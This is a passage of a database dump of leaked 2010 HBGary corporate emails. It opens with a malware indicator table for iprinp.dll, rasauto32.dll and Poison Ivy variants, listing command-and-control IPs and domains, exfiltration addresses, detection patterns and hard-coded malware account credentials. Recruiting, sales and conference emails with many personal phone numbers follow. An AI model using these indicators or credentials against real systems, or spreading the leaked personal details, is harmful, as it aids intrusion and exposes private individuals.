address.\r\n  \r\n \r\n \r\n  \r\n  66.228.132.129\r\n  \r\n  \r\n  QNAO\r\n  reported exfiltration destination IP address.\r\n  \r\n \r\n \r\n  \r\n  66.228.132.130\r\n  \r\n  \r\n  QNAO\r\n  reported exfiltration destination IP address.\r\n  \r\n \r\n \r\n  \r\n  65.54.165.179\r\n  \r\n  \r\n  This\r\n  IP address is possibly related to APT malware that is using Neil certificate.\r\n  \r\n \r\n \r\n  \r\n  216.246.75.123\r\n  \r\n  \r\n  This\r\n  IP was found in the memory of a system infected with mspoiscon malware.\r\n  \r\n \r\n \r\n  \r\n  32.16.195.129\r\n  \r\n  \r\n  This\r\n  IP was found in the memory of a system infected with mspoiscon malware.\r\n  \r\n \r\n \r\n  \r\n  119.167.225.48\r\n  \r\n  \r\n  Command\r\n  and control server for the mspoiscon malware.\r\n  \r\n \r\n \r\n  \r\n  happy.7766.org\r\n  \r\n  \r\n  Command\r\n  and control server for the mspoiscon malware.\r\n  \r\n \r\n \r\n  \r\n  (PRI)  \r\n  Comment:\r\n  \r\n  \r\n  This\r\n  string appears in output from an iprinp.dll network scan.\r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  \\svchost.exe\r\n  \r\n  \r\n  Discover\r\n  any svchost.exe not in a standard path.\r\n  \r\n \r\n \r\n  \r\n  \\windows\\system32\r\n  \r\n  \r\n  ^^\r\n  \r\n \r\n \r\n  \r\n  \\winnt\\system32\r\n  \r\n  \r\n  ^^\r\n  \r\n \r\n \r\n  \r\n  uninstall\r\n  \r\n  \r\n  ^^\r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  .exe\r\n  \r\n  \r\n  Too\r\n  many  hits\r\n  \r\n \r\n \r\n  \r\n  July_1_2010\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  svchost.exe\r\n  \r\n  \r\n  Discover\r\n  any svchost.exe without services.exe as a parent.\r\n  \r\n \r\n \r\n  \r\n  services.exe\r\n  \r\n  \r\n  ^^\r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  rasauto32.dll\r\n  \r\n  \r\n  Any\r\n  registry value containing this string.\r\n  \r\n \r\n \r\n  \r\n  iprinp.dll\r\n  \r\n  \r\n  Any\r\n  registry value containing this string.\r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  AA8341AE-87E5-0728-00B2-65B59DDD7BF7\r\n  \r\n  \r\n  mspoiscon\r\n  (poison ivy) found by Terramark\r\n  \r\n \r\n \r\n  \r\n  7589AC46-E2BC-C967-E7AE-4E6EFB5D6056\r\n  \r\n  \r\n  msomsysdm\r\n  (poison ivy) found 9/21/10 \r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  macrosoft\r\n  corp.\r\n  \r\n  \r\n  Some\r\n  iprinp.dll variants create a patched system shell with this unique string\r\n  embedded.\r\n  \r\n \r\n \r\n  \r\n  superhard\r\n  corp.\r\n  \r\n  \r\n  Some\r\n  rasauto32.dll variants create a patched system shell with this unique string\r\n  embedded.\r\n  \r\n \r\n \r\n  \r\n  SvcHost.DLL.log\r\n  \r\n  \r\n  This\r\n  unique string is found in many iprinp.dll variants.\r\n  \r\n \r\n \r\n  \r\n  process-%d-stoped!\r\n  \r\n  \r\n  This\r\n  unique string is found in many iprinp.dll variants.\r\n  \r\n \r\n \r\n  \r\n  %s\\%05d.dat\r\n  \r\n  \r\n  This\r\n  unique string is found in many iprinp.dll variants.\r\n  \r\n \r\n \r\n  \r\n  Installed\r\n  RAM: %ldMB\r\n  \r\n  \r\n  String\r\n  found in code from WinVNC and various APT malware.\r\n  \r\n \r\n \r\n  \r\n  lsremora64.dll\r\n  \r\n  \r\n  This\r\n  string is found in pwdump variants.\r\n  \r\n \r\n \r\n  \r\n  d0ta010@hotmail.com\r\n  \r\n  \r\n  Hard-coded\r\n  credentials for the iprinp.dll MSN variant.\r\n  \r\n \r\n \r\n  \r\n  lich123456@hotmail.com\r\n  \r\n  \r\n  Hard-coded\r\n  credentials for the iprinp.dll MSN variant.\r\n  \r\n \r\n \r\n  \r\n  2j3c1k\r\n  \r\n  \r\n  \r\n  Hard-coded\r\n  credentials for the iprinp.dll MSN variant.\r\n  \r\n \r\n \r\n  \r\n  72.167.34.54\r\n  \r\n  \r\n  This\r\n  IP address was hard-coded into many rasauto32.dll variants.\r\n  \r\n \r\n \r\n  \r\n  72.167.33.182\r\n  \r\n  \r\n  QNAO\r\n  reported malicious IP address.\r\n  \r\n \r\n \r\n  \r\n  67.152.57.55\r\n  \r\n  \r\n  QNAO\r\n  reported malicious IP address.\r\n  \r\n \r\n \r\n  \r\n  66.228.132.129\r\n  \r\n  \r\n  QNAO\r\n  reported exfiltration destination IP address.\r\n  \r\n \r\n \r\n  \r\n  66.228.132.130\r\n  \r\n  \r\n  QNAO\r\n  reported exfiltration destination IP address.\r\n  \r\n \r\n \r\n  \r\n  65.54.165.179\r\n  \r\n  \r\n  This\r\n  IP address is possibly related to APT malware that is using Neil certificate.\r\n  \r\n \r\n \r\n  \r\n  216.246.75.123\r\n  \r\n  \r\n  This\r\n  IP was found in the memory of a system infected with mspoiscon malware.\r\n  \r\n \r\n \r\n  \r\n  32.16.195.129\r\n  \r\n  \r\n  This\r\n  IP was found in the memory of a system infected with mspoiscon malware.\r\n  \r\n \r\n \r\n  \r\n  119.167.225.48\r\n  \r\n  \r\n  Command\r\n  and control server for the mspoiscon malware.\r\n  \r\n \r\n \r\n  \r\n  happy.7766.org\r\n  \r\n  \r\n  Command\r\n  and control server for the mspoiscon malware.\r\n  \r\n \r\n\r\n\r\n \r\n\r\n \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, October 06, 2010 1:48 PM\r\nTo: Rich Cummings\r\nSubject: Info on iprinp.dll and svchost.exe\r\n\r\n \r\n\r\nRich,\r\n\r\n \r\n\r\nCan you send me what you have on the iprinp.dll and\r\nsvchost.exe\r\n\r\n \r\n\r\nDo you have any ip addresses, etc.\r\n\r\n \r\n\r\nI remember talking with you and I have captured\r\nnci.dnsweb.org and utc.bigdepression.net\r\n\r\n \r\n\r\ndo you have IPs?\r\n\r\n \r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal, LLC\r\n\r\n719.510.8478\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',15276,'aaron_hbgary_com/15276.html'),(12802,'2010-10-07','\"Ben Koehl (LinkedIn Messages)\" <messages-noreply@linkedin.com>','/aaron@hbgary.com/new/1297009404.M469955P14101Q7657.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nBen Koehl has sent you a message.\r\n\r\n\r\n  Date:\r\n  10/07/2010\r\n\r\n\r\n  Subject:\r\n  RE: Introduction\r\n\r\n\r\n\r\n  Hey Aaron,\r\n\r\n\r\n\r\nI apologize for not getting back to you. It turned out I had a contract issue that prevented me from exploring possibilities with you at that time and I had to completely retract from any moves. Anyhow that ended and I ended up recently starting a Forensics job with the government.\r\n\r\n\r\n\r\nThat brings me back full circle to you. We are in the process of building out our setup here and Field Responder Pro is working its way through procurement. One of our major hitches right now is OS. We have a forensics box right now setup running Windows 7 Ultimate, very fast proc, memory, etc. But.. it turns out Windows 7 is not compatible with Field Responder Pro. Is there going to be support soon to run FRP on 7? Otherwise we\'ll have to rebuild it with Server 03\'\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\nBen Koehl\r\n\r\n\r\n\r\nOn 08/25/10 5:12 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHi Ben,\r\n\r\n\r\n\r\nSure. Give me a call 719.510.8478.  I am working on a proposal and some training material today so should be available.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn 08/23/10 4:44 PM, Ben Koehl wrote:\r\n\r\n--------------------\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\nI believe you spoke recently with Mila Parkour over LinkedIn. She mentioned to me that HBGary is hiring infosec analysts in the DC Metro area. Does HBGary happen to have any positions that are geared towards people trying to break into the Information Security field? I was wondering if you had any time to talk over whichever medium you\'d prefer (skype chat, phone, etc.)\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\nBen Koehl\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n  \r\n\r\n',16772,'aaron_hbgary_com/16772.html'),(12803,'2010-10-07','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297009404.M706063P14101Q7658.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"William Luti\" <wluti@digitalmanagement.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA Cyber Security in Transportation Summit','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOh, very good.&nbsp; \r\n\r\n&nbsp;\r\n\r\nA few thoughts:\r\n\r\n&nbsp;\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIt&#8217;s good in this case you aren&#8217;t actually yet &#8220;officially&#8221;\r\non our team due to the facilities clearance issue: might preclude you from\r\ntalking to them and/or do the speech.\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYour speech, which I&#8217;ll bet you includes all the proposal\r\nevaluators, could highlight some of our key messages and mention luminaries\r\nlike our Advisory Group members.&nbsp; \r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nShould not mention our company name, but mentioning Northrop and\r\nTASC (and a few other large players who didn&#8217;t bid like SRA) could highlight\r\nthose companies significant practices.&nbsp; Anecdotes or examples always play\r\nwell in these. &agrave; Let&#8217;s send you the Experience content for the big players\r\nand that should give you some good stories.\r\n\r\n&nbsp;\r\n\r\nOn a further thought:&nbsp; how do we setup these types of\r\nmeetings at other customers with/for you?&nbsp; The rationale is the same at\r\neach of the orgs:&nbsp; Wanting to create more excitement and relevant learning\r\nfor gov&#8217;t employees at no cost that doesn&#8217;t need a\r\nprocurement.&nbsp; Bill???\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, October 07, 2010 9:20 AM\r\nTo: William Luti; John Fanguy\r\nSubject: Fwd: TSA Cyber Security in Transportation Summit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThis is good right? :)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will be giving a talk at the TSA conference on Oct. 21st\r\non APT and Threat Intelligence.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDave Merritt, her husband, works out of OSD CIO\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Merritt,\r\nMary&quot; &lt;Mary.Merritt@dhs.gov&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nOctober\r\n7, 2010 9:04:29 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nTSA Cyber Security in Transportation Summit\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\njust wanted to introduce myself as my husband, David Merritt mentioned that he\r\nknows you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nunderstand that you will be presenting for Rich and I look forward to meeting\r\nyou at the Summit.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf\r\nyou are ever in the TSA OIT offices, let me know.\r\n\r\n\r\n\r\n\r\n\r\n\r\nHave a fabulous day!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMary\r\nMerritt, CAP\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nSecurity Awareness and Outreach\r\n\r\n\r\n\r\n\r\n\r\nInformation\r\nAssurance Division (IAD)\r\n\r\n\r\n\r\n\r\n\r\nOffice\r\nof Information Technology (OIT)\r\n\r\n\r\n\r\n\r\n\r\nTransportation\r\nSecurity Administration (TSA)\r\n\r\n\r\n\r\n\r\n\r\nDepartment\r\nof Homeland Security (DHS)\r\n\r\n\r\n\r\n\r\n\r\nPhone:\r\n571-227-5232\r\n\r\n\r\n\r\n\r\n\r\nCell:&nbsp;\r\n571-309-1922\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe contents of this correspondence shall not be interpreted as\r\ncontractual direction by the U.S. Department of Homeland\r\nSecurity/Transportation Security Administration (TSA); should there be any\r\nquestion regarding this technical direction being outside approved contractual\r\nscope please contact the TSA Contracting Officer who is the sole source of\r\ncontractual direction from TSA prior to the start of the activities. This\r\ncorrespondence is For Official Use Only.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13107,'aaron_hbgary_com/13107.html'),(12804,'2010-10-07','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009405.M249161P14101Q7660.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: who do you know at SAIC that can help me?','On Thu, Oct 7, 2010 at 7:32 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nspecifically i am asking him for a reference at Marathon Oil.  It is possible and even likely that Marathon has purchased Mandiant products and/or services.  I don&#39;t know that -- sounds like he may.\r\n\r\nso he is not giving me information but asking questions to get to the bottom of this...our competitive documents are confidential and we don&#39;t have an nda with SAIC\r\n\r\nOn Wed, Oct 6, 2010 at 7:56 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nYeah I haven&#39;t seen a strong penetration with SAIC.I know some fairly senior folks.  Stu Shea current president for SAICs Intel Group which does about $4B in revenue used to be my boss.  Larry Cox I know fairly well.  Scott Sheldon runs SAICs NSA business, I try to keep in touch with him pretty regularly.  Getting below that though I don&#39;t have a lot of contacts, except in the Intel group.\r\n\r\nHis request doesn&#39;t seem all that unreasonable though.  We should have some information on how we compare.  I am going to contact Bill since he responded to me from the introduction from Scott Sheldon and see what I can find out.\r\n\r\nAaronOn Oct 6, 2010, at 7:31 PM, Maria Lucas wrote:Well I thought we had a better relationship with SAIC than we do..... I want an intro to the SAIC team at Marathon Oil they are in the NOC ==but he won&#39;t give me one so far.  He wants documentation first on how we can compete with Mandiant -- there is no NDA in place.  Not sure who at HBGary is managing the SAIC relationship but it doesn&#39;t seem like it has gone anywhere since I came on board....\r\n\r\n\r\n\r\nOn Wed, Oct 6, 2010 at 3:38 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThat is the person I was pointed to.  What are u looking for?\r\n\r\nAaronFrom my iPhone\r\nOn Oct 5, 2010, at 4:44 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron / Ted \r\n\r\nWho do you know at SAIC that can help me with Commercial   -- Bill Salazar is trying to help me but he isn&#39;t so far...-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com  \r\n\r\n\r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\n\r\nemail: maria@hbgary.com   \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',1448,'aaron_hbgary_com/1448.html'),(12805,'2010-10-07','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009405.M3405P14101Q7659.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: who do you know at SAIC that can help me?','specifically i am asking him for a reference at Marathon Oil.  It is possible and even likely that Marathon has purchased Mandiant products and/or services.  I don&#39;t know that -- sounds like he may.\r\nso he is not giving me information but asking questions to get to the bottom of this...our competitive documents are confidential and we don&#39;t have an nda with SAIC\r\nOn Wed, Oct 6, 2010 at 7:56 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nYeah I haven&#39;t seen a strong penetration with SAIC.I know some fairly senior folks.  Stu Shea current president for SAICs Intel Group which does about $4B in revenue used to be my boss.  Larry Cox I know fairly well.  Scott Sheldon runs SAICs NSA business, I try to keep in touch with him pretty regularly.  Getting below that though I don&#39;t have a lot of contacts, except in the Intel group.\r\nHis request doesn&#39;t seem all that unreasonable though.  We should have some information on how we compare.  I am going to contact Bill since he responded to me from the introduction from Scott Sheldon and see what I can find out.\r\nAaronOn Oct 6, 2010, at 7:31 PM, Maria Lucas wrote:Well I thought we had a better relationship with SAIC than we do..... I want an intro to the SAIC team at Marathon Oil they are in the NOC ==but he won&#39;t give me one so far.  He wants documentation first on how we can compete with Mandiant -- there is no NDA in place.  Not sure who at HBGary is managing the SAIC relationship but it doesn&#39;t seem like it has gone anywhere since I came on board....\r\n\r\n\r\nOn Wed, Oct 6, 2010 at 3:38 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThat is the person I was pointed to.  What are u looking for?\r\n\r\nAaronFrom my iPhone\r\nOn Oct 5, 2010, at 4:44 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron / Ted \r\n\r\nWho do you know at SAIC that can help me with Commercial   -- Bill Salazar is trying to help me but he isn&#39;t so far...-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com  \r\n\r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',457,'aaron_hbgary_com/457.html'),(12806,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009405.M490169P14101Q7661.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: Potentially Available Talent','Hey Jason.\r\n\r\nCould we meet earlier?\r\n\r\nSay 1115 1130?\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Oct 7, 2010, at 9:26 AM, Jason Mueller  wrote:\r\n\r\n> Sounds great!  Also, I hold a TS/SCI w/CI poly.  Not too sure if the\r\n> poly is still active however taking another CI is no big deal.\r\n>\r\n> R/\r\n>\r\n> Jason\r\n>\r\n> On Thu, Oct 7, 2010 at 9:21 AM, Aaron Barr  wrote:\r\n>> Hey Jason,\r\n>>\r\n>> Sounds good.  How does 12pm sound at Gordon Biersch.\r\n>>\r\n>> Sorry.  Tickets = Clearances.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Oct 7, 2010, at 8:22 AM, Jason Mueller wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> I\'m free for lunch today.  I\'m located at FBI HQ so anywhere in the\r\n>>> vicinity works for me, however Gordon Biersch is usually the easiest\r\n>>> given the proximity to the Metro Center station.  Monday is a holiday\r\n>>> so I will be off and Tuesday is the final walk through of my newly\r\n>>> constructed home so I will be out then as well.  Let me know what you\r\n>>> think and we can plan from there.\r\n>>>\r\n>>> Palantir rocks and I\'m sure it\'ll be a great event however that\r\n>>> Tuesday afternoon I plan on making it up to Mandiant\'s MIRCon to have\r\n>>> a few cocktails with friends.\r\n>>>\r\n>>> BTW,tickets?\r\n>>>\r\n>>> R/\r\n>>>\r\n>>> Jason\r\n>>>\r\n>>> On Wed, Oct 6, 2010 at 11:32 PM, Aaron Barr  wrote:\r\n>>>> Hi Jason,\r\n>>>>\r\n>>>> Sorry for going dark.  Multiple presentation preparing for just gets me a bit distracted.  I am pretty open tomorrow.  Friday I am up in MD.  Monday I am open for lunch.  Tuesday I will be giving a Threat Intelligence presentation at the Palantir GovCon6.  Other days available next week after that.  Let me know.\r\n>>>>\r\n>>>> BTW.  What tickets do you have? :)\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Oct 1, 2010, at 9:09 PM, Jason Mueller wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Let me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!\r\n>>>>>\r\n>>>>> R/\r\n>>>>>\r\n>>>>> Jason Mueller\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> On Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Hi Jason,\r\n>>>>>>\r\n>>>>>> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n>>>>>>\r\n>>>>>>> Aaron,\r\n>>>>>>>\r\n>>>>>>> Thanks again for coming on the show, we definitely appreciate you\r\n>>>>>>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>>>>>>> speaking further when you get back from your trip to Seattle.  Do you\r\n>>>>>>> happen to have Federal SE positions available as well?  Let me know\r\n>>>>>>> when you get a chance.\r\n>>>>>>>\r\n>>>>>>> R/\r\n>>>>>>>\r\n>>>>>>> Jason Mueller\r\n>>>>>>>\r\n>>>>>>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>>>>>>> Hey Jason,\r\n>>>>>>>>\r\n>>>>>>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>>>>>>>\r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal, LLC\r\n>>>>>>>> 719.510.8478\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal, LLC\r\n>>>>>> 719.510.8478\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal, LLC\r\n>>>> 719.510.8478\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>>\r\n>>\r\n>>\r\n>>\r\n',6523,'aaron_hbgary_com/6523.html'),(12807,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009405.M685527P14101Q7662.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: Potentially Available Talent','U can give me a call if u want\r\n7195108478\r\n\r\nFrom my iPhone\r\n\r\nOn Oct 7, 2010, at 9:26 AM, Jason Mueller  wrote:\r\n\r\n> Sounds great!  Also, I hold a TS/SCI w/CI poly.  Not too sure if the\r\n> poly is still active however taking another CI is no big deal.\r\n>\r\n> R/\r\n>\r\n> Jason\r\n>\r\n> On Thu, Oct 7, 2010 at 9:21 AM, Aaron Barr  wrote:\r\n>> Hey Jason,\r\n>>\r\n>> Sounds good.  How does 12pm sound at Gordon Biersch.\r\n>>\r\n>> Sorry.  Tickets = Clearances.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Oct 7, 2010, at 8:22 AM, Jason Mueller wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> I\'m free for lunch today.  I\'m located at FBI HQ so anywhere in the\r\n>>> vicinity works for me, however Gordon Biersch is usually the easiest\r\n>>> given the proximity to the Metro Center station.  Monday is a holiday\r\n>>> so I will be off and Tuesday is the final walk through of my newly\r\n>>> constructed home so I will be out then as well.  Let me know what you\r\n>>> think and we can plan from there.\r\n>>>\r\n>>> Palantir rocks and I\'m sure it\'ll be a great event however that\r\n>>> Tuesday afternoon I plan on making it up to Mandiant\'s MIRCon to have\r\n>>> a few cocktails with friends.\r\n>>>\r\n>>> BTW,tickets?\r\n>>>\r\n>>> R/\r\n>>>\r\n>>> Jason\r\n>>>\r\n>>> On Wed, Oct 6, 2010 at 11:32 PM, Aaron Barr  wrote:\r\n>>>> Hi Jason,\r\n>>>>\r\n>>>> Sorry for going dark.  Multiple presentation preparing for just gets me a bit distracted.  I am pretty open tomorrow.  Friday I am up in MD.  Monday I am open for lunch.  Tuesday I will be giving a Threat Intelligence presentation at the Palantir GovCon6.  Other days available next week after that.  Let me know.\r\n>>>>\r\n>>>> BTW.  What tickets do you have? :)\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Oct 1, 2010, at 9:09 PM, Jason Mueller wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Let me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!\r\n>>>>>\r\n>>>>> R/\r\n>>>>>\r\n>>>>> Jason Mueller\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> On Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Hi Jason,\r\n>>>>>>\r\n>>>>>> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n>>>>>>\r\n>>>>>>> Aaron,\r\n>>>>>>>\r\n>>>>>>> Thanks again for coming on the show, we definitely appreciate you\r\n>>>>>>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>>>>>>> speaking further when you get back from your trip to Seattle.  Do you\r\n>>>>>>> happen to have Federal SE positions available as well?  Let me know\r\n>>>>>>> when you get a chance.\r\n>>>>>>>\r\n>>>>>>> R/\r\n>>>>>>>\r\n>>>>>>> Jason Mueller\r\n>>>>>>>\r\n>>>>>>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>>>>>>> Hey Jason,\r\n>>>>>>>>\r\n>>>>>>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>>>>>>>\r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal, 